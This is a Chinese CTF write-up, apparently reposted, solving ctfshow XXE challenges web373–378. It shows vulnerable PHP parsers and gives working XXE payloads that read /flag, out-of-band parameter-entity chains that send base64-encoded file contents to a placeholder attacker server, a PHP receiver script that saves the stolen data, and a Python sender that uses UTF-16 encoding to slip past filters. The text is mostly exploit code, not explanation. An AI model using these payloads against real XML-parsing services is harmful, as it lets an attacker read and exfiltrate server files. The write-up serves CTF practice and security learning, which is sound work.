ctfshow web入门-XXE

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门-XXE相关的知识,希望对你有一定的参考价值。

ctfshow web入门-XXE

web373

题目描述

  • 开X

解题思路

  • 题目给出源码,一个有回显的文件读取漏洞
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile))
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;

highlight_file(__FILE__);
?>
  • 抓包发送如下内容
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t>
	<ctfshow>
		&xxe;
	</ctfshow>
</H3rmesk1t>

web374

题目描述

  • 开X

解题思路

  • 无回显的文件读取,需要进行外带
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile))
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

highlight_file(__FILE__); 
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content))
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\\n".$content);
else
    
      
    echo 'no data input';

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web375

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\\?xml version="1\\.0"/', $xmlfile))
    die('error');

if(isset($xmlfile))
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

highlight_file(__FILE__);  
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content))
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\\n".$content);
else
    
      
    echo 'no data input';

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web376

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\\?xml version="1\\.0"/i', $xmlfile))
    die('error');

if(isset($xmlfile))
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

highlight_file(__FILE__);  
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content))
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\\n".$content);
else
    
      
    echo 'no data input';

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web377

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\\?xml version="1\\.0"|http/i', $xmlfile))
    die('error');

if(isset($xmlfile))
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

highlight_file(__FILE__);    
?>
  • 利用 Python 进行发包
import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content))
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\\n".$content);
else
    
      
    echo 'no data input';

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web378

题目描述

  • python X

解题思路

  • 登录框抓个包,发现是回显 xml 形式,而且是回显 username 的值,构造 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>

以上是关于ctfshow web入门-XXE的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow之web入门1

ctfshow web入门-sql注入

ctfshow web入门-sql注入

ctfshow web入门-sql注入

ctfshow web入门-sql注入

ctfshow web入门-SSTI